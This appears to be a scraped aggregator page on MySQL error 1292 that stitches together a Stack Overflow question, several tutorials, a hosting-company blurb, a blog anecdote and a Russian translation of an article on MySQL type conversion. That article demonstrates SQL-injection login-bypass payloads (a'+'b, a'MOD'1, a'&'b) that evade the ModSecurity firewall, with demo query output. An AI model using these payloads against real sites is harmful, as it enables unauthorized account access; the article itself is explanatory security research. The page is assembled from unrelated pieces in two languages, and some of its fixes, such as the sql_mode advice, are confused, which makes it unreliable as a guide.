Error code 1292 truncated incorrect double value

I am not sure what is this error! #1292 - Truncated incorrect DOUBLE value: I don't have double value field or data! I have wasted a whole hour trying to figure this out! here is my query INS...

I am not sure what is this error!

#1292 - Truncated incorrect DOUBLE value: 

I don’t have double value field or data!

I have wasted a whole hour trying to figure this out!

here is my query

INSERT INTO call_managment_system.contact_numbers 
    (account_id, contact_number, contact_extension, main_number, created_by)
SELECT
    ac.account_id,
    REPLACE(REPLACE(REPLACE(REPLACE(ta.phone_number, '-', ''), ' ', ''), ')', ''),'(','') AS Phone,
    IFNULL(ta.ext, '') AS extention,
    '1' AS MainNumber,
    '2' AS created_by
FROM 
    cvsnumbers AS ta
    INNER JOIN accounts AS ac ON ac.company_code = ta.company_code
WHERE 
    LENGTH(REPLACE(REPLACE(REPLACE(REPLACE(ta.phone_number, '-', ''), ' ', ''), ')', ''),'(','') ) = 10

here is my show create table for the table which the results are going into

CREATE TABLE `contact_numbers` (  
    `number_id` int(10) unsigned NOT NULL AUTO_INCREMENT,  
    `account_id` int(10) unsigned NOT NULL DEFAULT '0',  
    `person_id` int(11) NOT NULL DEFAULT '0',  
    `contact_number` char(15) NOT NULL,  
    `contact_extension` char(10) NOT NULL DEFAULT '',  
    `contact_type` enum('Primary','Direct','Cell','Fax','Home','Reception','Office','TollFree') NOT NULL DEFAULT 'Primary',  
    `contact_link` enum('Account','PDM','Other') NOT NULL DEFAULT 'Account',  
    `status` tinyint(1) NOT NULL DEFAULT '1' COMMENT '0 = inactive, 1=active', 
    `main_number` tinyint(1) NOT NULL DEFAULT '0' COMMENT '1 = main phone number',  
    `created_on` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP,  
    `created_by` int(11) NOT NULL,  
    `modified_on` datetime DEFAULT NULL,  
    `modified_by` int(11) NOT NULL DEFAULT '0',  
    PRIMARY KEY (`number_id`),  
    KEY `account_id` (`account_id`),  
    KEY `person_id` (`person_id`)
) ENGINE=InnoDB AUTO_INCREMENT=534 DEFAULT CHARSET=utf8

The MySQL error Truncated incorrect DOUBLE value is one of the weirdest errors in MySQL.

This is because the error can be caused by some mistakes in your SQL script that has nothing to do with a DOUBLE value.

The error is mostly triggered when there’s a mistake in UPDATE statements script.

Let’s see some example scripts that trigger the error. Suppose you have a database named students with the following data:

+----+---------+---------+-------+--------+-------------+
| id | name    | subject | score | gender | student_id  |
+----+---------+---------+-------+--------+-------------+
|  1 | Sarah   | Math    |     9 | male   | 12937254892 |
|  2 | Natalia | Math    |     8 | female | 08936A58421 |
|  3 | Christ  | English |     4 | male   | 87463X98107 |
+----+---------+---------+-------+--------+-------------+

One of the mistakes that could trigger the Truncated incorrect DOUBLE value error is when you use the AND clause when updating multiple columns of the table.

The script would look as follows:

UPDATE students 
  SET name = 'Sarah' 
    AND score = 9
  WHERE id = '1';
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'Sarah'

While the error is because of the AND clause, the error description will make you think that there’s something wrong with the value 'Sarah'.

To fix the error, you need to replace the AND clause with a comma:

UPDATE students 
  SET name = 'Sarah',
    score = 9
  WHERE id = '1';

-- Query OK, 0 rows affected (0.00 sec)
-- Rows matched: 1  Changed: 0  Warnings: 0

Another thing that could trigger this error is if you try to compare a string value that has no number representation with a number value in the WHERE clause.

An example wrong statement could be as shown below:

UPDATE students 
  SET score = 5
  WHERE student_id = 87463298107;

The error response would look as follows:

ERROR 1292 (22007): Truncated incorrect DOUBLE value: '08936A58421'

The error above is because there’s an entry in the student_id table that has no equal number value representation.

The student_id column is a VARCHAR column that can contain a string type of alphanumeric characters or a number type of numeric characters.

When you create a comparison in the WHERE clause that uses the number type, then MySQL will try to convert the column’s string type to number type for the comparison.

In the case of our example, the second row of the student_id column has no equal number value representation:

+-------------+
| student_id  |
+-------------+
| 12937254892 |
| 08936A58421 |
| 87463298107 |
+-------------+

The letter 'A' in the second row value causes MySQL unable to cast the value as an integer and do a comparison.

To fix the error, you need to wrap the value in the WHERE clause with quotation marks:

UPDATE students 
  SET score = 5
  WHERE student_id = '87463298107';

-- Query OK, 0 rows affected (0.00 sec)
-- Rows matched: 1  Changed: 0  Warnings: 0

Interestingly, MySQL won’t throw the same error when you run a SELECT statement:

SELECT * FROM students
  WHERE student_id = 87463298107;

The above query would return the result set without an error:

+----+--------+---------+-------+--------+-------------+
| id | name   | subject | score | gender | student_id  |
+----+--------+---------+-------+--------+-------------+
|  3 | Christ | English |     4 | male   | 87463298107 |
+----+--------+---------+-------+--------+-------------+

And those are some SQL script mistakes that can trigger the Truncated incorrect DOUBLE value error.

As you can see, the error can be triggered even when you don’t have any column of DOUBLE type or a DOUBLE value in your scripts.

If you found this error and are unable to find what’s wrong with your statements, then I suggest you check if the types used by your columns are the same as the types in your statements.

If you’re using VARCHAR type in your column, then it’s better to compare the column value with a string even though it looks like a number.

When there are values of different types, you can explicitly convert one of the values to match the other using the CAST() function.

Good luck in fixing the error! 👍

MySQL error 1292 occurs if the syntax for the date is incorrectly entered.

Here at Bobcares, we have seen several causes for this error while troubleshooting MySQL issues as part of our Server Management Services for web hosts and online service providers.

Today we’ll take a look at the cause for this error and how to fix it.

Why does MySQL Error 1292 occur

Before we get into the solution part, let us first see what causes this error to occur.

This error normally occurs when the date is entered in an incorrect format. The date value like 0000-00-00 00:00:00 is not allowed with MySQL 5.7 version.

Also, this error can occur when trying to compare a number and a string in a WHERE or ON clause.

For instance, the error appears as below.

MySQL Error 1292

How we fix MySQL Error 1292

This error is of different types and can occur due to many reasons and also the solution will differ according to the error. Here are the different errors and the solutions that our Engineers provide to our customers.

1. If a field type is a DATE, then we make sure that the date is entered in the format “yyyy-mm-dd”.

2. Error Code: 1292 – Incorrect date value

Many of our customers use MySQL 5.7. But in this version date value like 0000-00-00 00:00:00 is not allowed. Hence, the above error occurs. In case, if our customers want to allow it, then we update their my.cnf like:

sudo nano /etc/mysql/my.cnf

In this file, we find

[mysqld]

Then after that, we add the below line.

sql_mode=”NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION”

After adding the above line, we restart the MySQL service. For that, we run the below command.

sudo service mysql restart

3. #1292 – Truncated incorrect DOUBLE value

Usually, this error message appears when customers try to compare a number and a string in a WHERE or ON clause.

So we make sure that they have similar declarations or convert the number to a string. Also, if we turn off strict mode, the error turns into a warning.

[Need any further assistance in fixing MySQL errors? – We’re available 24*7]

Conclusion

In short, this error can arise with different messages and has its own way to fix it. Today, we saw the resolution to this MySQL error.

PREVENT YOUR SERVER FROM CRASHING!

Never again lose customers to poor server speed! Let us help you.

Our server experts will monitor & maintain your server 24/7 so that it remains lightning fast and secure.

GET STARTED

var google_conversion_label = «owonCMyG5nEQ0aD71QM»;

  1. HowTo
  2. MySQL Howtos
  3. Truncated Incorrect Double Value in …
Truncated Incorrect Double Value in MySQL

In this tutorial, we aim at exploring how to fix the error: Truncated Incorrect Double Value.

There are many different types of errors one might face while writing complex MySQL queries. These errors are usually assigned a particular error code with them. The truncated incorrect double value is one of these errors with the error code 1292. The exact error can be illustrated as 1292 - Truncated incorrect DOUBLE value: <Exact Error Location>.

One of the main reasons for this error is due to incorrect usage of the UPDATE SET clause. The UPDATE SET clause updates information for a particular table. The set keyword helps assign specific values to a column. The basic syntax for this clause can be illustrated as follows.

UPDATE name_of_table 
SET column_name = <value>
WHERE <condition>;

In the syntax above, name_of_table represents the table to be changed. SET represents the column name and the value that needs to be set based on a particular condition in the where statement.

We get the 1292 error in MySQL because sometimes, programmers write incorrect syntax, which can be illustrated as follows.

UPDATE name_of_table 
SET column_name_1 = <value_1> and column_name_2 = <value_2>  
WHERE <condition>;

To solve the error associated with the code above, we simply have to get rid of the and in between the two-column names specified. This operation can be illustrated as follows.

UPDATE name_of_table 
SET column_name_1 = <value_1>, column_name_2 = <value_2>  
WHERE <condition>;

Therefore, with the help of the correct UPDATE SET technique, we can efficiently eliminate the truncated incorrect double value error in MySQL.

Preet Sanghavi avatar
Preet Sanghavi avatar

Preet writes his thoughts about programming in a simplified manner to help others learn better. With thorough research, his articles offer descriptive and easy to understand solutions.

LinkedIn
GitHub

Related Article — MySQL Query

  • Sort MySQL Data in Alphabetical Order
  • Enable Slow Query Log in MySQL
  • Calculate Percentage in MySQL
  • Where vs Having in MySQL
  • Nested Select Statements in MySQL for Enhanced Query
  • Tiny Integer in MySQLEzoic
  • Error Code 1292 – Truncated incorrect DOUBLE value – Mysql

    This message means youre trying to compare a number and a string in a WHERE or ON clause. In your query, the only potential place where that could be occurring is ON ac.company_code = ta.company_code; either make sure they have similar declarations, or use an explicit CAST to convert the number to a string.

    If you turn off strict mode, the error should turn into a warning.

    I corrected this error as there was a syntax error or some unwanted characters in the query, but MySQL was not able to catch it. I was using and in between multiple fields during update, e.g.

    update user 
    set token=lamblala, 
        accessverion=dummy and 
        key=somekey 
    where user = myself
    

    The problem in above query can be resolved by replacing and with comma(,)

    Error Code 1292 – Truncated incorrect DOUBLE value – Mysql

    I was facing the same issue. Trying to compare a varchar(100) column with numeric 1. Resulted in the 1292 error. Fixed by adding single quotes around 1 (1).

    Thanks for the explanation above

    Related posts on My sql :

    • python – How can I use Conda to install MySQLdb?
    • php – MySQL Workbench vs phpMyAdmin
    • mysql – No package msyql-server available
    • mysql – Amazon RedShift – How to query OLAP way
    • MySQL: The correct way to calculate standard deviation
    • mysql – DISTINCT COUNT in SELECT CASE SQL
    • mysql – Sequelize defaultValue not getting set
    • mysql – Quartiles in SQL query

    Я не уверен, что это за ошибка!

    #1292 - Truncated incorrect DOUBLE value: 
    

    У меня нет поля или данных двойного значения!

    Я потратил целый час, пытаясь понять это!

    вот мой запрос

    INSERT INTO call_managment_system.contact_numbers 
        (account_id, contact_number, contact_extension, main_number, created_by)
    SELECT
        ac.account_id,
        REPLACE(REPLACE(REPLACE(REPLACE(ta.phone_number, '-', ''), ' ', ''), ')', ''),'(','') AS Phone,
        IFNULL(ta.ext, '') AS extention,
        '1' AS MainNumber,
        '2' AS created_by
    FROM 
        cvsnumbers AS ta
        INNER JOIN accounts AS ac ON ac.company_code = ta.company_code
    WHERE 
        LENGTH(REPLACE(REPLACE(REPLACE(REPLACE(ta.phone_number, '-', ''), ' ', ''), ')', ''),'(','') ) = 10
    

    вот моя таблица создания таблицы для таблицы, результаты которой идут в

    CREATE TABLE `contact_numbers` (  
        `number_id` int(10) unsigned NOT NULL AUTO_INCREMENT,  
        `account_id` int(10) unsigned NOT NULL DEFAULT '0',  
        `person_id` int(11) NOT NULL DEFAULT '0',  
        `contact_number` char(15) NOT NULL,  
        `contact_extension` char(10) NOT NULL DEFAULT '',  
        `contact_type` enum('Primary','Direct','Cell','Fax','Home','Reception','Office','TollFree') NOT NULL DEFAULT 'Primary',  
        `contact_link` enum('Account','PDM','Other') NOT NULL DEFAULT 'Account',  
        `status` tinyint(1) NOT NULL DEFAULT '1' COMMENT '0 = inactive, 1=active', 
        `main_number` tinyint(1) NOT NULL DEFAULT '0' COMMENT '1 = main phone number',  
        `created_on` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP,  
        `created_by` int(11) NOT NULL,  
        `modified_on` datetime DEFAULT NULL,  
        `modified_by` int(11) NOT NULL DEFAULT '0',  
        PRIMARY KEY (`number_id`),  
        KEY `account_id` (`account_id`),  
        KEY `person_id` (`person_id`)
    ) ENGINE=InnoDB AUTO_INCREMENT=534 DEFAULT CHARSET=utf8
    

    Автор: Том Ван Гетем (Tom Van Goethem)

    В некоторых языках программирования при выполнении арифметических действий над нечисловыми операндами получаются весьма странные результаты. К примеру, в JavaScript результатом выражения [ ] + { } является объект, а выражения { } + [ ] – NaN.

    Если подобные манипуляции происходят в синтаксическом анализаторе, который считается очень надежным, все может довольно быстро пойти под откос. Рассмотрим поведение MySQL…

    Результатом сложения двух целых чисел будет сумма этих чисел. Все достаточно просто и понятно.

    mysql> SELECT 1+1;

    +-----+

    | 1+1 |

    +-----+

    | 2 |

    +-----+

    1 row in set (0.00 sec)

    Преобразование типов в MySQL

    Ничего особенного здесь нет. Однако что произойдет, если мы попытаемся прибавить к строке целое число…

    mysql> SELECT 'foo'+1;

    +---------+

    | 'foo'+1 |

    +---------+

    | 1 |

    +---------+

    1 row in set, 1 warning (0.00 sec)

    mysql> SHOW WARNINGS;

    +---------+------+-----------------------------------------+

    | Level | Code | Message |

    +---------+------+-----------------------------------------+

    | Warning | 1292 | Truncated incorrect DOUBLE value: 'foo' |

    +---------+------+-----------------------------------------+

    1 row in set (0.00 sec)

    Получаем чуть более интересные результаты: при добавлении 1 к ‘foo’ получается 1. Все дело в том, что ‘foo’ преобразовывается к типу DOUBLE. Однако ‘foo’ не является числом и будет преобразовано к 0 (и выведется предупреждение, показанное выше). Пока что ничего нового.

    Документация MySQL гласит:

    В случае использования операторов с различными типами операндов, происходит преобразование операндов для их совместимости.

    А что произойдет, если мы попытаемся сложить две строки? Оба операнда являются строками, одного типа и, следовательно, их не нужно преобразовывать, верно?

    mysql> SELECT 'a'+'b';

    +---------+

    | 'a'+'b' |

    +---------+

    | 0 |

    +---------+

    1 row in set, 2 warnings (0.00 sec)

    mysql> SHOW WARNINGS;

    +---------+------+---------------------------------------+

    | Level | Code | Message |

    +---------+------+---------------------------------------+

    | Warning | 1292 | Truncated incorrect DOUBLE value: 'b' |

    | Warning | 1292 | Truncated incorrect DOUBLE value: 'a' |

    +---------+------+---------------------------------------+

    2 rows in set (0.00 sec)

    Похоже, что нет. Кажется, что оператор «+» является арифметическим, что может объяснять, почему обе строки преобразовываются к числовым значениям.

    Теперь мы знаем, что при сложении двух строк получается 0. Вы можете удостовериться в этом, запустив запрос SELECT ‘a’ + ‘b’ = 0, который вернет 1 (то же самое, что и TRUE). Теперь рассмотрим, что произойдет, если сравнить сумму двух строк с еще одной строкой:

    mysql> SELECT 'a'+'b'='c';

    +-------------+

    | 'a'+'b'='c' |

    +-------------+

    | 1 |

    +-------------+

    1 row in set, 3 warnings (0.00 sec)

    mysql> SHOW WARNINGS;

    +---------+------+---------------------------------------+

    | Level | Code | Message |

    +---------+------+---------------------------------------+

    | Warning | 1292 | Truncated incorrect DOUBLE value: 'b' |

    | Warning | 1292 | Truncated incorrect DOUBLE value: 'a' |

    | Warning | 1292 | Truncated incorrect DOUBLE value: 'c' |

    +---------+------+---------------------------------------+

    3 rows in set (0.00 sec)

    Похоже, что строка, с которой вы сравниваете сумму двух строк, также преобразуется к числовому значению (снова 0) . Такое поведение вполне вероятно является неожиданным. Последнее правило преобразования типов в MySQL Reference Manual весьма размыто:

    Во всех остальных случаях аргументы сравниваются как числа с плавающей точкой (вещественные числа).

    Но вернемся к теме нашей статьи и рассмотрим обход Web Application Firewalls.

    Обход WAFs

    Допустим, ваша система авторизации уязвима к SQL-инъекциям. Так как у вас пока нет мыслей, как исправить уязвимость, вы устанавливаете WAF. Вполне вероятно ваша система авторизации использует запрос наподобие такого: SELECT * FROM users WHERE username = ‘$_POST[«username»]’ AND password = ‘$_POST[«password»]’.

    При простейшей атаке посредством SQL-инъекции будет использован такой запрос: SELECT * FROM users WHERE username = ‘a’ OR 1=’1′ AND password = ‘foobar’. В этом запросе в качестве имени пользователя будет использоваться комбинация a’ OR 1=’1, а в качестве пароля случайный набор символов (в нашем случае ‘foobar’). После выполнения этого запроса злоумышленник авторизуется в системе от имени первого пользователя, находящегося в соответствующей таблице. Однако вы используете WAF и защищены от такого типа атак.

    Если атакующий будет чуток поумнее и использует информацию, указанную выше, то в качестве имени пользователя и пароля будет введена одна и та же комбинацию символов a’+’b. После этих манипуляций будет исполнен такой запрос: SELECT * FROM users WHERE username = ‘a’+’b’ AND password = ‘a’+’b’. Как было сказано выше, ‘a’+’b’ будет преобразовано к числовому значению, и таким будет username и password.

    Все это означает, что злоумышленник авторизуется в системе от имени первого пользователя в таблице, чье имя и пароль не начинаются с числового значения. Если у администратора имя пользователя было бы 666admin, атакующий в качестве имени пользователя может ввести ‘a’+’666 (которое будет преобразовано к тому же самому значения, что и 666admin, а именно 666).

    Я заявил о том, что при помощи этой техники можно обойти WAF’ы. Однако под термином WAF следует подразумевать «ModSecurity и, возможно, другие средства». Вы можете протестировать это на одном из демонстрационных проектов ModSecurity. Если ввести имя пользователя ‘ OR 1=’1 и пароль, возникнет следующая ошибка:

    ModSecurity Alert Message:

    Inbound Alert: 981242-Detects classic SQL injection probings 1/2

    Outbound Alert: 981242-Detects classic SQL injection probings 1/2

    Если же ввести имя пользователя и пароль a’+’b, то вы авторизуетесь в системе, и не возникнет никаких сообщений об ошибках или предупреждений от ModSecurity.

    До этого момента мы рассматривали оператор «+», однако в MySQL есть и другие операторы, подверженные тому же самому эффекту. В MySQL 5.5 Reference Manual приводится следующий список арифметических операторов: DIV, /, -, %, MOD, + и *, что позволяет, к примеру, выполнить атаку с использованием выражения a’MOD’1. Такую атаку очень трудно опознать при помощи WAF как использующую SQL-инъекцию.

    До этого момента мы обсуждали только арифметические операторы, однако в MySQL есть и другие функции, например, побитовые функции. Функции, используемые в этом случае: &, |, ^, << и >>.

    До сих пор говорилось об операторах, которые находятся в правой части выражения и вычисляются первыми. Такое происходит потому, что приоритет подобных операторов выше, чем у оператора = (сравнение). Кажется, если использовать операторы и функции, приоритет которых ниже чем у = (или равен ему), то ModSecurity отнесет подобные атаки к классу атак посредством SQL-инъекции (сюда же попадает атака с использованием комбинации символов ‘ OR 1=’1).

    Мораль статьи: не следует полагаться только на WAF при защите web-приложений. WAF добавляет еще один уровень защиты, который, как было показано выше, не слишком сложно обойти.

    Примеры

    В качестве практической демонстрации метода обхода, упомянутого выше, я создал таблицу и добавил в нее двух пользователей:

    CREATE TABLE `users` (

    `userid` int(11) NOT NULL AUTO_INCREMENT,

    `username` varchar(45) NOT NULL,

    `password` varchar(45) NOT NULL,

    PRIMARY KEY (`userid`)

    );

    INSERT INTO `users` (`username`, `password`) VALUES ('admin', 'MySuperS3cretPass!');

    INSERT INTO `users` (`username`, `password`) VALUES ('666admin', 'nataSmaI');

    Результаты запроса, упомянутого выше:

    mysql> SELECT * FROM users WHERE username = 'a'+'b' AND password = 'a'+'b';

    +--------+----------+--------------------+

    | userid | username | password |

    +--------+----------+--------------------+

    | 1 | admin | MySuperS3cretPass! |

    +--------+----------+--------------------+

    1 row in set, 7 warnings (0.00 sec)

    mysql> SHOW WARNINGS;

    +---------+------+--------------------------------------------------------+

    | Level | Code | Message |

    +---------+------+--------------------------------------------------------+

    | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin' |

    | Warning | 1292 | Truncated incorrect DOUBLE value: 'b' |

    | Warning | 1292 | Truncated incorrect DOUBLE value: 'a' |

    | Warning | 1292 | Truncated incorrect DOUBLE value: 'MySuperS3cretPass!' |

    | Warning | 1292 | Truncated incorrect DOUBLE value: 'b' |

    | Warning | 1292 | Truncated incorrect DOUBLE value: 'a' |

    | Warning | 1292 | Truncated incorrect DOUBLE value: '666admin' |

    +---------+------+--------------------------------------------------------+

    7 rows in set (0.00 sec)

    mysql> SELECT * FROM users WHERE username = 'a'+'666' AND password = 'a'+'b';

    +--------+----------+----------+

    | userid | username | password |

    +--------+----------+----------+

    | 2 | 666admin | nataSamI |

    +--------+----------+----------+

    1 row in set, 6 warnings (0.00 sec)

    mysql> SELECT * FROM users WHERE username = 'a'MOD'1' AND password = 'a'MOD'1';

    +--------+----------+--------------------+

    | userid | username | password |

    +--------+----------+--------------------+

    | 1 | admin | MySuperS3cretPass! |

    +--------+----------+--------------------+

    1 row in set, 5 warnings (0.00 sec)

    В следующем примере ‘a’ и ‘b’ конвертируются к 0(тип INTEGER), поскольку & является побитовой функцией.

    mysql> SELECT * FROM users WHERE username = 'a'&'b' AND password = 'a'&'b';

    +--------+----------+--------------------+

    | userid | username | password |

    +--------+----------+--------------------+

    | 1 | admin | MySuperS3cretPass! |

    +--------+----------+--------------------+

    1 row in set, 7 warnings (0.00 sec)

    Что это в основном

    Это неправильный синтаксис, из-за которого MySQL думает, что вы пытаетесь что-то сделать с столбцом или параметром, имеющим неправильный тип «DOUBLE».

    Учитесь на моей ошибке

    В моем случае я обновил столбец varchar в настройке таблицы NULL где значение 0 стоял. Мой запрос на обновление был таким:

    UPDATE myTable SET myValue = NULL WHERE myValue = 0;
    

    Теперь, поскольку фактический тип myValue is VARCHAR(255) это дает предупреждение:

    +---------+------+-----------------------------------------------+
    | Level   | Code | Message                                       |
    +---------+------+-----------------------------------------------+
    | Warning | 1292 | Truncated incorrect DOUBLE value: 'value xyz' |
    +---------+------+-----------------------------------------------+
    

    И теперь myTable практически пусто, потому что myValue Сейчас NULL для КАЖДОЙ РЯДЫ в таблице! Как это случилось?
    * внутренний крик *

    В более чем 30 тысячах строк отсутствуют данные.
    * внутренний крик усиливается *

    Слава богу, за резервные копии. Мне удалось восстановить все данные.
    * уменьшается интенсивность внутреннего крика *

    Исправленный запрос выглядит следующим образом:

    UPDATE myTable SET myValue = NULL WHERE myValue = '0';
                                                      ^^^
                                                      Quotation here!
    

    Я бы хотел, чтобы это было больше, чем просто предупреждение, поэтому забывать эти цитаты не так опасно.

    * Прекратить внутренний крик *

    I just spent the last hour trying to debug the smallest SQL problem! I have a datatable of Contracts and I was building a feature in our client software where we could end all contracts of a certain type (SLA) at the same time (trust me, there is a business reason behind this). To do this, I was executing the following MySQL Cross-Table UPDATE statement:

    UPDATE
    	contract c
    INNER JOIN
    	contract_type t
    ON
    	(
    			t.reference_key = 'SLA'
    		AND
    			c.contract_type_id = t.id
    	)
    SET
    	c.date_updated = <cfqueryparam value="#Now()#" cfsqltype="cf_sql_timestamp" />
    AND
    	c.date_ended = <cfqueryparam value="#Now()#" cfsqltype="cf_sql_timestamp" />
    WHERE
    	c.date_ended IS NULL
    

    I’m trying to set the date_ended field to Now() where ever it is currently NULL and of the correct contract type (SLA). However, when I ran this query, MySQL kept throwing this error:

    Data truncation: Truncated incorrect DOUBLE value: ‘2009-02-18 13:43:35’

    The error certainly wants you to believe that this is a data problem. Specifically, the error wants you to believe that the date/time value you are using in the query is somehow being converted to a double and that the converted value is too big for a double. So naturally, that’s what I was trying to debug. But, after a solid hour, no joke, I came to realize that this error has nothing to do with data at all and is, in fact, a syntax error!

    Look at my SET statement:

    SET
    	c.date_updated = <cfqueryparam value="#Now()#" cfsqltype="cf_sql_timestamp" />
    AND
    	c.date_ended = <cfqueryparam value="#Now()#" cfsqltype="cf_sql_timestamp" />
    

    See the problem now? I have it written out like a WHERE statement; a proper SET statement uses commas, not ANDs. Rewritten properly, the query is:

    UPDATE
    	contract c
    INNER JOIN
    	contract_type t
    ON
    	(
    			t.reference_key = 'SLA'
    		AND
    			c.contract_type_id = t.id
    	)
    SET
    	c.date_updated = <cfqueryparam value="#Now()#" cfsqltype="cf_sql_timestamp" />,
    	c.date_ended = <cfqueryparam value="#Now()#" cfsqltype="cf_sql_timestamp" />
    WHERE
    	c.date_ended IS NULL
    

    So yeah, that’s an hour of my life I won’t get back. That’s a really poor error that MySQL is throwing. Not that I’m blaming MySQL — I was the one who wrote the crappy statement — but, it did sort of lead me on a wild goose chase. Next time, thought, I’ll be prepared!

    Want to use code from this post?
    Check out the license.

    I believe in love. I believe in compassion. I believe in human rights. I believe that we can afford to give more of these gifts to the world around us because it costs us nothing to be decent and kind and understanding. And, I want you to know that when you land on this site, you are accepted for who you are, no matter how you identify, what truths you live, or whatever kind of goofy shit makes you feel alive! Rock on with your bad self!

    Понравилась статья? Поделить с друзьями:
  • Error code 1292 mysql
  • Error code 1285
  • Error code 1073741790
  • Error code 1282
  • Error code 1073741502